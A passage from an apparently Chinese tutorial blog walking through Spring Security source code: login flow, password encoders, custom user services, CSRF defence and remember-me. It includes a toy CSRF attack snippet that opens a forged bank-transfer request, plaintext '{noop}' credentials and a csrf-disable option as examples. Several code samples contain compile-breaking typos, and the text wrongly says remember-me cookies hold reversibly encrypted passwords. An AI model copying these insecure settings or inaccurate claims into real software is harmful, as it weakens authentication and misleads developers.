if (user == null) {
cacheWasUsed = false;
try {
// 缓存中不存在要验证的账号 直接验证
user = this.retrieveUser(username, (UsernamePasswordAuthenticationToken)authentication);
} catch (UsernameNotFoundException var6) {
this.logger.debug("User '" + username + "' not found"); if (this.hideUserNotFoundExceptions)
{
throw new BadCredentialsException(
this.messages.getMessage("AbstractUserDetailsAuthenticat ionProvider.badCredentials", "Bad credentials")
);
}throw var6;
}
Assert.notNull(user, "retrieveUser returned null - a violation of the interface contract");
}try
{
// 验证前,先判断判断这个用户是不是session超时,或者是锁定的状态,
this.preAuthenticationChecks.check(user);
// 密码是否正确
this.additionalAuthenticationChecks(user, (UsernamePasswordAuthenticationToken)authentication);
} catch (AuthenticationException var7)
{
if (!cacheWasUsed)
{
throw var7;
}
cacheWasUsed = false;
// 由于上面没有缓存,所以这个会去查询,通过用户账号
user = this.retrieveUser(username, (UsernamePasswordAuthenticationToken)authentication);
// 和上面一样
this.preAuthenticationChecks.check(user);
// 和上面一样
this.additionalAuthenticationChecks(user, (UsernamePasswordAuthenticationToken)authentication); }
this.postAuthenticationChecks.check(user);
if (!cacheWasUsed)
{
//放进缓存
this.userCache.putUserInCache(user);
}
Object principalToReturn = user;
if (this.forcePrincipalAsString) {
principalToReturn = user.getUsername();
}
// 返回验证成功的信息。
return this.createSuccessAuthentication(principalToReturn, authentication, user);
}
```
所以这一步,也还是没到验证的步骤,进入`retrieveUser`方法

```java
protected final UserDetails retrieveUser(
String username, UsernamePasswordAuthenticationToken authentication) throws AuthenticationException {
this.prepareTimingAttackProtection();
try {
// 账号验证
// 其实一切的验证还是回到了UserDetialService 这个用户数据中心这里。
UserDetails loadedUser = this.getUserDetailsService().loadUserByUsername(username);
//账号不存在就报错
if (loadedUser == null) {
throw new InternalAuthenticationServiceException("UserDetailsService returned null, which is an interface contract violation");
}
else
{
// 存在就直接返回。
return loadedUser;
}
} catch (UsernameNotFoundException var4)
{
//用户名不存在也报错
this.mitigateAgainstTimingAttack(authentication);
throw var4;
}
catch (InternalAuthenticationServiceException var5) {
throw var5;
} catch (Exception var6) {
throw new InternalAuthenticationServiceException(var6.getMessage(), var6);
}
}
```
我们在这里可以看到,这里最后开始调用UserDetailService接口里的方法,尝试从用户数据中心那里获得用户信息,如果你没有实现自己的UserDetailService话,springsecurity会有一个自己的默认实现,就是InMemoryUserDetailsManager中的实现,有一个默认的用户名和密码。如果你实现了自己的,这个对象就不会被注入。

我们看看InMemoryUserDetailsManager中的loadUserByUsername的实现

这里的用户名密码,你可以通过外部的配置的yml文件配置,也有默认的,之前看过了,用户名是user,密码是一串随机生成的uuid。这里就是如他名字一样,直接在内存中校验了。
##### 密码校验
我们通过上面那一步,通过用户名获得了账号信息,接着就要看看密码是否匹配。这是在用户已经查询到的情况下。所以让我们跳出来。接着走完校验流程。


接着,我们通过代码调试,发现这个获得的`passwordEncoder`的实现类是`DelegatingPasswordEncoder`

当然,关于密码的encoder也有很多种实现,例如我们可以在加入密码的时候,在密码的前面设置`{noop}`前缀,代表对密码不进行加密校验。所以也会获得不用加密的密码加密工具。就像是下面这样。

这其实就是一些映射,也就意味着你可以在你的密码前面加上这些前缀来获得不同的加密工具,来对你的密码进行校验,不过这个你必须保证,你注册账号所加密的密码,和这里解密的密码工具是一致的才行。
也就意味着你可以这样写密码。
```
{noop}123 NoOpPasswrodEncoder
{SHA-1}123 MessageDigestPasswordEncoder
....
```

这里也就是一个简单的密码判断。判断字符是否相同。

##### 关于登录和校验流程的总结
在重定向登录页面,我们输入用户名密码后,会被`UserPasswordAuthenticationFilter`过滤器拦截下来。`UserPasswordAuthenticationFilter`是从`LoginFormConfigurer`中创建出来的。接着在父类`AbstractAuthencationFilterConfigurer`指定了登录路径为`/login`路径,作为拦截匹配对象。
接着,进入`UserPasswordAuthenticationFilter`的`doFilter`方法进行校验,然后一直往下走,我们发现了一个新的类叫做`AuthenticationManager`这个对象中就是个验证管理中心,里面持有了一个`UserDetailService`的引用。主要从里面来获得对象处理,然后封装成Authentication对象返回。然后再后续的步骤中,就是校验取出的用户是否锁定,是否session过期之类的。最后都没问题开始密码校验。
关于密码校验,就是通过不同的前缀来找到不同的密码加密器,也就是`PasswordEncoder`来和取出的密码进行简单的比对。最后全部完成后,会将用户信息存入缓存。放行。
#### 应用篇
关键在于我们如何将`springsecurity`组合到我们的项目中去,除了之前的映入jar的操作,无非就是和`shiro`一样可以需要自己配置权限的来源,和用户的来源之类的,以及记住我等配置。
一开始,我们可以通过修改默认的配置,也就是在`application.properties`里面修改默认的用户名和密码,接着你也可以在新建一个`SpringSecurity`的配置类,里覆盖里面的配置。
```java
@Configuration
public class SpringSecurityConfig extends WebSecurityConfigurerAdapter{
/**
自定义权限认证器,此方法来自于 GlobalAuthenticationConfigurerAdapter 也就是
SecurityConfigurer的子类,用来构建和认证权限相关的配置
**/
@Overriede
protected void configure(AuthenticationManagerBuildr auth) throws Exception
{
//这里我们调用默认的内存权限认证,随便设置几个值
auth.inMemoryAuthentication().withUser("pop").password("{<PASSWORD>")//不加密
.roles("USER");//随便赋予了一个权限字符
}
/**
自定义过滤器连,这个来自于securityBuilder,用来构造自己过滤器链
*/
protected void configure(HttpSecurity http) throws Exception{
super.configure(http);//保持原样
}
}
```
##### 自定义用户中心
以上是默认的流程,默认情况下通过`InMemoryUserDetailManager`来实现,而`InMemoryUserDetailsManager`实现了`UserDetailService`接口,那么我们要实现自定义的认证流程也只需要实现`UserDetailService`接口,重写`loadUserByUsername`方法,然后将这个我们自定义的实现,塞进到这个`InMemoryUserDetailManager`即可。
```java
public interface UserService extends UserDetailsService{
//....
}
@Service
public class UserServiceImpl implements UserService {
/*
通过用户名查找用户
*/
@Override
public UserDetails loadUserByUsername(String username) throws UsernameNotFoundException{
// 一段从数据库,或者内存中,通过用户名或者UserDetails的代码
// ....
// 结束... UserDetail是Security自己定义的对象实体,按照规范返回即可。
//保存权限的集合,其实就是一串封装起来的代表权限的字符串
List<SimpleGrantedAuthority> list = new ArrayList<>();
// 这里也建议从 数据库或者内存中获取权限的代码,然后封装返回
list.add(new SimpleGantedAuthority("ROLE_USER"));
//这里是简单的校验
if(!"lisi".equals(username))
{
return null;
}
//将用户名和密码,权限封装起来
UserDetail user = new User("lisi","{noop}123",list);
return user;
}
}
```
以上定义好了,也就意味着我们自定义了自己的用户校验规则,接着将他注入到权限管理器中。
```java
@Configuration
public class SpringSecurityConfig extends WebSecurityConfigurerAdapter{
@Autowired
private UserService userService;
/**
自定义权限认证器,此方法来自于 GlobalAuthenticationConfigurerAdapter 也就是
SecurityConfigurer的子类,用来构建和认证权限相关的配置
**/
@Overriede
protected void configure(AuthenticationManagerBuildr auth) throws Exception
{
//这里我们调用默认的内存权限认证,随便设置几个值
/* auth.inMemoryAuthentication().withUser("pop").password("{<PASSWORD>")//不加密
.roles("USER");//随便赋予了一个权限字符*/
auth.userDetailsService(userService);
}
/**
自定义过滤器连,这个来自于securityBuilder,用来构造自己过滤器链
*/
protected void configure(HttpSecurity http) throws Exception{
super.configure(http);//保持原样
}
}
```
##### 自定义加密处理
之前我们有说过`PasswordEncoder`这个接口,他会根据你传过来密码的前缀来选择不同的加密密码的策略实现,例如`{noop}123`就是使用不加密的加密策略。以下是目前`SpringSecurity`支持的加密策略。

这里我们用`BcryptPasswordEncoder`来加密。

这个加密的用处在于,每次都会生成一个随机的salt,同一个明文密码多次编码得到的密文其实是不一样的。
```java
public static void main(String[] args)
{
BCryptPasswordEncoder bCrypt = new BCryptPasswordEncoder();
String password = "<PASSWORD>";
System.out.println(bCrypt.encode(password));
System.out.println(bCrypt.encode(password));
System.out.println(bCrypt.encode(password));
System.out.println(bCrypt.encode(password));
}
```
输出的密文。


那么,如果注册用户的话,将这个密码存进去就好了,之后会比对。

当然,按照源码,如果你没有设置密码加密类,他会根据前缀判断,如果有就会使用设置的。

```java
@Configuration
public class SpringSecurityConfig extends WebSecurityConfigurerAdapter{
@Autowired
private UserService userService;
/**
自定义权限认证器,此方法来自于 GlobalAuthenticationConfigurerAdapter 也就是
SecurityConfigurer的子类,用来构建和认证权限相关的配置
**/
@Overriede
protected void configure(AuthenticationManagerBuildr auth) throws Exception
{
//这里我们调用默认的内存权限认证,随便设置几个值
/* auth.inMemoryAuthentication().withUser("pop").password("{<PASSWORD>")//不加密
.roles("USER");//随便赋予了一个权限字符*/
auth.userDetailsService(userService).passwordEncoder(new BCryptPasswordEncoder);
}
/**
自定义过滤器连,这个来自于securityBuilder,用来构造自己过滤器链
*/
protected void configure(HttpSecurity http) throws Exception{
super.configure(http);//保持原样
}
}
```
其实,看到这里,你也可以自己实现他的`PasswordEncoder`的接口,自定义自己的加密工具,也是完全可以的。
##### 用户的认证状态
`SpringSecurity`中的所定义的`User`,含有多种状态,包括是否可用,是否超时,是否冻结,是否锁定等。

User对象的属性中是定义了各种状态的对应关系。
| 参数 | 说明 |
| ----------------------------- | ------------ |
| boolean enabled | 是否可用 |
| boolean accountNonExpired | 账号是否失效 |
| boolean credentialsNonExpired | 密匙是否失效 |
| boolean accountNonLocked | 账号是否锁定 |
所以这里就留给我们一定的遐想攻坚,在我们通过自定义的`UserDetailService`的时候,实现`loadUserByUsername`的时候,通过某种我们自己的在数据库字段定义,又或者校验,完整这些参数的初始化,从让`springsecurity`配合我们完成这些校验等。

实际页面返回的效果。

##### 自定义认证页面
当然,如果登录页面无法自定义的话,那也是不行的,我们引入`Thymeleaf`来实现,当然这只是一案例而已,如果你不喜欢可以不用`thymeleaf`。
```xml
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
```
登录页面
```html
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:th="http://www.thymeleaf.org">
<head>
<meta charset="utf-8">
<title>title</title>
</head>
<body>
<h1>
登录管理
</h1>
<form th:action="@{/login.do}" method="post">
账号:<input type="text" name="username"><br/>
密码:<input type="<PASSWORD>" name="<PASSWORD>"><br/>
<input type="submit" value="登录"><br/>
</form>
</body>
</html>
```
同时,我们需要在SpringSecurity中改掉一些默认的配置。
```java
@Override
protected void configure(HttpSecurity http) throws Exception{
// super.configure(http); 不再调用父类中的方法,使用默认的过滤器链,而是使用我们自定义的。
http.authorizeRequests()
// 对于登录请求,失败请求,放过
.antMatchers("/login","/failure.html").permitAll()//放过
.anyRequest().authenticated() // 除此之外的全部请求,都需要验证
.and()
.formLogin()//认证表单
.loginPage("/login")//自定义的认证界面
.usernameParameter("username")
.passwordParameter("<PASSWORD>")
.loginProcessingUrl("/login.do")
// 认证成功的跳转页面,默认是get方式提交,自定义的成功页面后会post方式提叫,在controller中处理需要注意
.defaultSucessUrl("/home")//成功后跳转
.failureUrl("/failure") // 失败的跳转
.permitAll()
.and()
.logout()
.logoutUrl("/logout")
.invalidateHttpSession(true)//注销会话
.logoutSuccessUrl("/login")//注销成功后跳转页面
.permitAll();
}
```
#### CSRF 跨域攻击
##### CSRF介绍
CSRF(Cross-site request forgery)伪站请求伪造,也被称呼为`One Click Attack` 或者 `Session Riding`,通常缩写为CSRF或者XSRF,是对网站的一种恶意利用。

首先我们知道,我们自己通过输入帐号和密码的方式在成功登陆一个网站后,是可以浏览和使用这个网站的功能的,这是毋庸置疑,对于服务端来说,在我们登陆后,他会将我们的信息加密放入使用set-Cookie的方式,将信息通过浏览器写到我们客户端的cookie中,同时也许服务端也会将一部分信息存储到session中。等到我们再次访问,服务器会从cookie中获取我们的信息来确定是我们本人来访问。
CSRF攻击关键点则是借助**我们的手来完成对我们自己的攻击,让我们不知不觉受到损失**。

就比如,你在浏览银行网站的时候,这个时候,你又打开了其它的tab页,由于你当前是登陆状态,session和cookie都没有过期的情况下,实际上你对网站的所有请求,网站都会认为是你的正常操作。
这个时候你打开的tab页面弹出了一个你感兴趣的东西,可能是一张图片,你很好奇的点进去,这个时候,图片中也许隐藏了一段含有攻击的代码,这段代码也许是以你的信息想黑客希望的账户转钱的一个请求,这个其实很容易实现,你只需要。
```html
<img scr="感兴趣的图片.png" onClick="attakCode()"/>
<script>
function attakCode(){
window.open("www.blank.com/转账给小黑的请求");
}
</script>
```
当你点击了这个图片后,他会执行一段转账的代码。
```
www.blank.com/转账给小黑的请求
```
由于你此刻确实是登陆的状态,所以对于银行网站来说,这个请求是你点击的,也确实是你自己发送出去的,所以他就会按照请求内容,转账给小黑。
##### 常用的解决方案
> 验证Http Referer 字段
根据HTTP协议,在HTTP头中,有一个字段叫做Referer,他记录了HTTP请求的来源地址。

也就意味着客户端请求来源,如果是本网站的则响应,否则不响应,但是。
* 对于某些浏览器,比如IE6或FF2,目前已经有一些方法可以篡改Referer的值
* 用户自己可以设置浏览器使其在发送请求时不再提供Referer
> 使用Token解决
token的技术可以说是web有关权限验证的万精油了。由于token必须符合服务器所颁发的这一要求,也就意味着只有符合服务器规则的token才可以被允许通过。也就是防伪标志。

这个token的值必须是随机的。由于Token的存在,攻击者无法再构造一个带有合法Token的请求实施CSRF攻击。另外使用Token时应注意Token的保密性,尽量将敏感操作由GET改成POST,以form或者AJAX形式提交,避免Token泄露。
##### SpringSecurity 中的处理
我们回到之前的配置类,只需要加上上面这句话。
```java
.invalidateHttpSession(true)//注销会话
.logoutSuccessUrl("/login")//注销成功后跳转页面
.permitAll()
.and()
.csrf();
//如果希望禁用
.invalidateHttpSession(true)//注销会话
.logoutSuccessUrl("/login")//注销成功后跳转页面
.permitAll()
.and()
.csrf()
.disable();
```

从配置中移除,也就意味着不会再生成这个过滤器了。
首先,我们这里使用的是thymeleaf的,所以当你开启了csrf的时候,他会在你的登录表单里塞入一个`_csrf`的隐藏域,这很好理解,因为模版引擎会先静态资源读取到内存中,再写到response中,这个期间,自然是可以对静态资源**为所欲为**,加一个简单的字段也是不成问题的。


如果你把他关掉了`disable`,自然就没有了。因为他会将他从列表中剔除。

我们再看看页面。

那么很明显,我们可以从`CsrfFilter`入手。
```java
protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain) throws ServletException, IOException {
//将响应设置到request的属性中
request.setAttribute(HttpServletResponse.class.getName(), response);
// 获取已经创建的csrfToken对象,这个里tokenRespository可以自己定义。
CsrfToken csrfToken = this.tokenRepository.loadToken(request);
//...
```

我们可以随便看一个实现。例如`CookieCsrfTokenRepository`
```java
public final class CookieCsrfTokenRepository implements CsrfTokenRepository {
// 从cookie中获得地参数名
static final String DEFAULT_CSRF_COOKIE_NAME = "XSRF-TOKEN";
// 从http请求参数里获得参数名
static final String DEFAULT_CSRF_PARAMETER_NAME = "_csrf";
// 从http header 获得csrftoken的属性名
static final String DEFAULT_CSRF_HEADER_NAME = "X-XSRF-TOKEN";
private String parameterName = "_csrf";
private String headerName = "X-XSRF-TOKEN";
private String cookieName = "XSRF-TOKEN";
private boolean cookieHttpOnly = true;
private String cookiePath;
private String cookieDomain;
private Boolean secure;
public CookieCsrfTokenRepository() {
}
// 封装了一个对象
public CsrfToken generateToken(HttpServletRequest request) {
//X-XSRF-TOKEN _csrf
return new DefaultCsrfToken(this.headerName, this.parameterName,
// 这里往下翻就会找到内容,其实就是生成了一个uuid
this.createNewToken());
}
// 直接就设置了一个cookie返回
public void saveToken(CsrfToken token, HttpServletRequest request, HttpServletResponse response) {
String tokenValue = token != null ? token.getToken() : "";
Cookie cookie = new Cookie(this.cookieName, tokenValue);
cookie.setSecure(this.secure != null ? this.secure : request.isSecure());
cookie.setPath(StringUtils.hasLength(this.cookiePath) ? this.cookiePath : this.getRequestContext(request));
cookie.setMaxAge(token != null ? -1 : 0);
cookie.setHttpOnly(this.cookieHttpOnly);
if (StringUtils.hasLength(this.cookieDomain)) {
cookie.setDomain(this.cookieDomain);
}
response.addCookie(cookie);
}
public CsrfToken loadToken(HttpServletRequest request) {
// 直接从请求中获得带过来的cookie值,获取对应内容,如果没有就返回空
Cookie cookie = WebUtils.getCookie(request, this.cookieName);
if (cookie == null) {
return null;
} else {
String token = cookie.getValue();
//封装成对象返回
return !StringUtils.hasLength(token) ? null : new DefaultCsrfToken(this.headerName, this.parameterName, token);
}
}
// ...
// 其实生成的就是一个uuid而已
private String createNewToken() {
return UUID.randomUUID().toString();
}
}
```
回到csrf验证。
```java
protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain) throws ServletException, IOException {
request.setAttribute(HttpServletResponse.class.getName(), response);
CsrfToken csrfToken = this.tokenRepository.loadToken(request);
boolean missingToken = csrfToken == null;
if (missingToken) {
//没有找到token就生成一个,放到request的cookie中,方便下次请求携带
csrfToken = this.tokenRepository.generateToken(request);
//携带。
this.tokenRepository.saveToken(csrfToken, request, response);
}
request.setAttribute(CsrfToken.class.getName(), csrfToken);
// _csrf
request.setAttribute(csrfToken.getParameterName(), csrfToken);
// 是否匹配规则
if (!this.requireCsrfProtectionMatcher.matches(request)) {
if (this.logger.isTraceEnabled()) {
this.logger.trace("Did not protect against CSRF since request did not match " + this.requireCsrfProtectionMatcher);
}
// 不匹配就放行
filterChain.doFilter(request, response);
} else {
// 从请求头获得token
String actualToken = request.getHeader(csrfToken.getHeaderName());
// 头没拿到,就去请求参数去拿
if (actualToken == null) {
actualToken = request.getParameter(csrfToken.getParameterName());
}
//如果拿到的相同,就放心,否则报错。
if (!equalsConstantTime(csrfToken.getToken(), actualToken)) {
this.logger.debug(LogMessage.of(() -> {
return "Invalid CSRF token found for " + UrlUtils.buildFullRequestUrl(request);
}));
AccessDeniedException exception = !missingToken ? new InvalidCsrfTokenException(csrfToken, actualToken) : new MissingCsrfTokenException(actualToken);
this.accessDeniedHandler.handle(request, response, (AccessDeniedException)exception);
} else {
// 符合,放行。
filterChain.doFilter(request, response);
}
}
}
// 符合csrf的过滤请求规则
private static final class DefaultRequiresCsrfMatcher implements RequestMatcher {
private final HashSet<String> allowedMethods;
private DefaultRequiresCsrfMatcher() {
this.allowedMethods = new HashSet(Arrays.asList("GET", "HEAD", "TRACE", "OPTIONS"));
}
// 只要符合上述的几个请求类型,就要进入csrf的流程。
public boolean matches(HttpServletRequest request) {
return !this.allowedMethods.contains(request.getMethod());
}
```
当然这个是我们在单体架构中实现的csrf跨域攻击的防护,那如果我们是在前后端分离的项目中呢?这 个时候我们是可以将token信息保存在Http协议的Head中的, 浏览器索要登录页面的时候,服务器生成一个随机的csrf_token,放入cookie中。
```
Set-Cookie: Csrf-token=<KEY>; .....
```
浏览器通过JavaScript读取cookie中的Csrf_token,然后在发送请求时作为自定义HTTP头发送回来。
```
X-Csrf-Token: i<KEY>
```

服务器读取HTTP头中的Csrf_token,与cookie中的Csrf_token比较,一致则放行,否则拒绝。 这种方法为什么能够防御CSRF攻击呢? 关键在于JavaScript读取cookie中的Csrf_token这步。由于浏览器的同源策略,攻击者是无法从被 攻击者的cookie中读取任何东西的。所以,攻击者无法成功发起CSRF攻击。
#### remember-me功能
首先,只要登录成功才能进行`remember-me`的功能。
所以,我们应该从`UsernamepasswordAuthenticationFilter`中去分析。

进入下方的`successfulAuthentication`方法。
```java
protected void successfulAuthentication(HttpServletRequest request, HttpServletResponse response, FilterChain chain, Authentication authResult) throws IOException, ServletException {
if (this.logger.isDebugEnabled()) {
this.logger.debug("Authentication success. Updating SecurityContextHolder to contain: " + authResult);
}
SecurityContextHolder.getContext().setAuthentication(authResult);
// remember-me 处理的代码
this.rememberMeServices.loginSuccess(request, response, authResult);
if (this.eventPublisher != null) {
this.eventPublisher.publishEvent(new InteractiveAuthenticationSuccessEvent(authResult, this.getClass())); }
this.successHandler.onAuthenticationSuccess(request, response, authResult);
}
```
进入到`AbstractRememberMeServices`的`loginSuccess`的方法中。
```java
public final void loginSuccess(HttpServletRequest request, HttpServletResponse response, Authentication successfulAuthentication) {
// 判断是否需要使用 Remember-me
if (!this.rememberMeRequested(request, this.parameter)) {
this.logger.debug("Remember-me login not requested.");
}
else
{ // 进行Remember-me的相关设置
this.onLoginSuccess(request, response, successfulAuthentication);
}
}
protected boolean rememberMeRequested(HttpServletRequest request, String parameter) {
// 状态是否为true
if (this.alwaysRemember) {
return true;
} else {
// 表单提交的 字段
String paramValue = request.getParameter(parameter);
// 满足条件就返回true 这里有一个重点,那就是在只有你的value值是以下几种的,才是记住我的正确选项
if (paramValue != null && (paramValue.equalsIgnoreCase("true") || paramValue.equalsIgnoreCase("on") || paramValue.equalsIgnoreCase("yes") || paramValue.equals("1")))
{
return true;
}
else {
if (this.logger.isDebugEnabled())
{ this.logger.debug("Did not send remember-me cookie (principal did not set parameter '" + parameter + "')");
}return false;
}
}
}
// 让我们回到之前的记住我的判断,如果判断通过了,就会进入remember-me的设置
public final void loginSuccess(HttpServletRequest request, HttpServletResponse response, Authentication successfulAuthentication) {
// 判断是否需要使用 Remember-me
if (!this.rememberMeRequested(request, this.parameter)) {
this.logger.debug("Remember-me login not requested.");
} else
{
// 进行Remember-me的相关设置 进入这里
this.onLoginSuccess(request, response, successfulAuthentication);
}
}
```
进入`PersistentTokenBasedTokenBasedRememberMeServices#onLoginSuccess`的方法中。
```java
protected void onLoginSuccess(HttpServletRequest request, HttpServletResponse response, Authentication successfulAuthentication) {
// 认证成功的账号
String username = successfulAuthentication.getName();
this.logger.debug("Creating new persistent login for user " + username);
// 封装Remember-me的数据
PersistentRememberMeToken persistentToken = new PersistentRememberMeToken(username, this.generateSeriesData(), this.generateTokenData(), new Date());
try {
// 保存在内存或者持久化到数据库中 可以自行看下两种实现
this.tokenRepository.createNewToken(persistentToken);
// remember-me信息存储到cookie中
this.addCookie(persistentToken, request, response);
} catch (Exception var7) {
this.logger.error("Failed to save persistent token ", var7);
}
}
```
**小结**
通过上面的代码分析我们发现,当认证成功后会判断我们是否勾选了 记住我 按钮,如果勾选了那么会将认证信息封装到对应的token中,同时会将该token信息保存到数据库和cookie中 。
##### remember-me的功能实现
接下来我们看看具体怎么实现`rememberMe`功能表单添加 **记住我** 勾选按钮。
```html
<!DOCTYPE html>
<html lang="en" xmlns="http://www.w3.org/1999/xhtml" xmlns:th="http://www.thymeleaf.org"> <head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body><h1>登录管理</h1>
<form th:action="@{/login.do}" method="post">
账号:<input type="text" name="username" id="username"><br>
密码:<input type="<PASSWORD>" name="password" id="password"><br>
<!--名字和值一定要固定,value可以是1,也可以是on,也可以是yes,这在源码中我们已经了解到了-->
<input type="checkbox" value="1" name="remember-me"> 记住我<br>
<input type="submit" value="登录"><br>
</form>
</body>
</html>
```
同时,保证在配置文件中,确实开放了这个**记住我**的配置。

`RememberMeAuthenticationFilter`中功能非常简单,会在打开浏览器时,自动判断是否认证,如果没有则 调用`autoLogin`进行自动认证。
```java
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain)
throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) req;
HttpServletResponse response = (HttpServletResponse) res;
// 如果SecurityContext里没有包含Authentication对象
if (SecurityContextHolder.getContext().getAuthentication() == null) {
// 从request里解析出SPRING_SECURITY_REMEMBER_ME_COOKIE的信息, 然后转成一个RememberMeAuthenticationToken对象
Authentication rememberMeAuth = rememberMeServices.autoLogin(request, response);
if (rememberMeAuth != null) {
// Attempt authenticaton via AuthenticationManager
try {
// 再判断rememberMeAuth对象里的key值是否与配置文件里的key值相同
// 关于一个设置
rememberMeAuth = authenticationManager.authenticate(rememberMeAuth);
// Store to SecurityContextHolder
SecurityContextHolder.getContext().setAuthentication(rememberMeAuth);
onSuccessfulAuthentication(request, response, rememberMeAuth);
if (logger.isDebugEnabled()) {
logger.debug("SecurityContextHolder populated with remember-me token: '"
+ SecurityContextHolder.getContext().getAuthentication() + "'");
}
// Fire event
if (this.eventPublisher != null) {
eventPublisher.publishEvent(new InteractiveAuthenticationSuccessEvent(
SecurityContextHolder.getContext().getAuthentication(), this.getClass()));
}
if (successHandler != null) {
successHandler.onAuthenticationSuccess(request, response, rememberMeAuth);
return;
}
} catch (AuthenticationException authenticationException) {
if (logger.isDebugEnabled()) {
logger.debug("SecurityContextHolder not populated with remember-me token, as "
+ "AuthenticationManager rejected Authentication returned by RememberMeServices: '"
+ rememberMeAuth + "'; invalidating remember-me token", authenticationException);
}
rememberMeServices.loginFail(request, response);
onUnsuccessfulAuthentication(request, response, authenticationException);
}
}
chain.doFilter(request, response);
} else {
if (logger.isDebugEnabled()) {
logger.debug("SecurityContextHolder not populated with remember-me token, as it already contained: '"
+ SecurityContextHolder.getContext().getAuthentication() + "'");
}
chain.doFilter(request, response);
}
}
```
由于我们将用户的账号和密码信息以及权限加密存储到了token中,作为`rememberme`的值存在了客户端的cookie中,所以当用户请求的时候,请求会携带cookie信息,`RememberMeAuthenticationFilter`过滤器在获取内容的时候,取出这里的内容,初始化到权限容器中,完整登录。
登陆成功的时候服务端返回的cookie信息。

关闭浏览器第二次访问,携带的cookie信息。

不过这需要注意的是,这个加密是可逆的,也就是对称加密,要保证服务端确实可以将信息解密出来。
**记住我**功能方便是大家看得见的,但是安全性却令人担忧。因为Cookie毕竟是保存在客户端的,很容易盗取,而且 cookie的值还与用户名、密码这些敏感数据相关,虽然加密了,但是将敏感信息存在客户端,还是不太安全。那么这就要提醒喜欢使用此功能的,用完网站要及时手动退出登录,清空认证信息。
此外,`SpringSecurity`还提供了`remember me`的另一种相对更安全的实现机制 :在客户端的cookie
中,仅保存一个**无意义**的加密串(与用户名、密码等敏感数据无关),然后在db中保存该加密串-用户信
息的对应关系,自动登录 时,用cookie中的加密串,到db中验证,如果通过,自动登录才算通过。
创建一张表,注意这张表的名称和字段都是固定的,**不要修改**。
```sql
CREATE TABLE `persistent_logins` (
`username` VARCHAR (64) NOT NULL,
`series` VARCHAR (64) NOT NULL,
`token` VARCHAR (64) NOT NULL,
`last_used` TIMESTAMP NOT NULL,
PRIMARY KEY (`series`)
) ENGINE = INNODB DEFAULT CHARSET = utf8
```
其实在`JdbcTokenRepositoryImpl`中,已经帮我们定义好的语句。

依赖
```xml
<!-- 引入jdbc支持 -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-jdbc</artifactId>
</dependency>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.15</version>
</dependency>
```
相关配置
```properties
spring.datasource.username=root
spring.datasource.password=<PASSWORD>
spring.datasource.url=jdbc:mysql://localhost:3306/ssm? serverTimezone=GMT%2B8&useSSL=false
spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver
```
在配置文件中的配置。
```java
@Configuration
public class SpringSecurityConfig extends WebSecurityConfigurerAdapter {
@Autowired private UserService userService;
@Autowired private DataSource dataSource;
@Autowired private PersistentTokenRepository persistentTokenRepository;
/*** 自定义认证管理器 * @param auth * @throws Exception */
@Override
protected void configure(AuthenticationManagerBuilder auth) throws Exception { /*auth.inMemoryAuthentication() .withUser("zhang") .password("{<PASSWORD>") .roles("USER");*/
auth.userDetailsService(userService).passwordEncoder(new BCryptPasswordEncoder());
}
/*** 自定义过滤器链 * @param http * @throws Exception */
@Override protected void configure(HttpSecurity http) throws Exception {
// 调用父类中的方法 使用默认的过滤器链
// super.configure(http);
http.authorizeRequests()
.antMatchers("/login","/failure.html").permitAll() // 放过 login.html
.anyRequest() .authenticated() // 都需要认证 .and().formLogin() // 认证表单
.loginPage("/login") // 自定义的认证界面 .usernameParameter("username")
.passwordParameter("<PASSWORD>") loginProcessingUrl("/login.do") // 认证成功的跳转页面 默认是get方式提交 自定义的成功页面后会post方式提要 // 在Controller中处理的时候要注意
.successForwardUrl("/home") // 这个是post方式 //
.defaultSuccessUrl("/home") // 这个是get方式
.failureUrl("/failure") // 失败的页面
.permitAll()
.and()
.logout()
.logoutUrl("/logout")
.invalidateHttpSession(true) // 注销会话
.logoutSuccessUrl("/login") // 注销成功后的跳转页面
.permitAll()
.and().rememberMe()
.tokenRepository(persistentTokenRepository) /*.and() .csrf() .disable()*/;
// 单用户登录,如果有一个登录了,同一个用户在其他地方不能登录 // http.sessionManagement().maximumSessions(1).maxSessionsPreventsLogin(true);
http.sessionManagement().maximumSessions(1).expiredSessionStrategy(expiredSessi onStrategy());
}/*** 持久化token ** Security中,默认是使用PersistentTokenRepository的子类 InMemoryTokenRepositoryImpl,将token放在内存中 * 如果使用JdbcTokenRepositoryImpl,会创建表persistent_logins,将token持久化到数据 库 */
@Bean
public PersistentTokenRepository persistentTokenRepository(){
JdbcTokenRepositoryImpl tokenRepository = new JdbcTokenRepositoryImpl();
tokenRepository.setDataSource(dataSource); // tokenRepository.setCreateTableOnStartup(true); // 第一次创建表结构 执行后 注销掉
return tokenRepository;
}
// 定义session过期后的服务器做什么反应,这里就是直接进行登出操作。
@Bean
public SessionInformationExpiredStrategy expiredSessionStrategy() {
return new SimpleRedirectSessionInformationExpiredStrategy("/logout");
}
}
```

然后我们再次登陆测试看看首次登陆成功,响应的cookie信息。

数据库表结构存储的信息。

我们可以看到,`JdbcTokenRepositoryImpl`里的做法,是拿出一段没有意义的字符串进行加密,返回给cookie,然后,在下次请求的时候,会携带这个加密的无意义的串,让`JdbcTokenRepositoryImpl`去数据库核对,无意义的字符串作为主键,去数据库查询获得真正的token,将token解密出来获得用户信息,这样就比直接存储用户的加密信息要来的安全一些。
##### 如何获得当前登录信息。
在**服务端代码**中我们可以通过`SecurityContextHolder`来获取
```java
@GetMapping("/test") @ResponseBody public String test(){
// SecurityContextHolder.getContext().getAuthentication().getPrincipal();
//可以获得当前用户的权限和用户信息
return "test:"+ SecurityContextHolder.getContext().getAuthentication().getPrincipal();
}
```

在**前端代码**中,我们可以使用`Thymeleaf`,由于`Thymeleaf`对`SpringSecurity`提供了支持。
https://github.com/thymeleaf/thymeleaf-extras-springsecurity
依赖
```xml
<dependency>
<groupId>org.thymeleaf.extras</groupId>
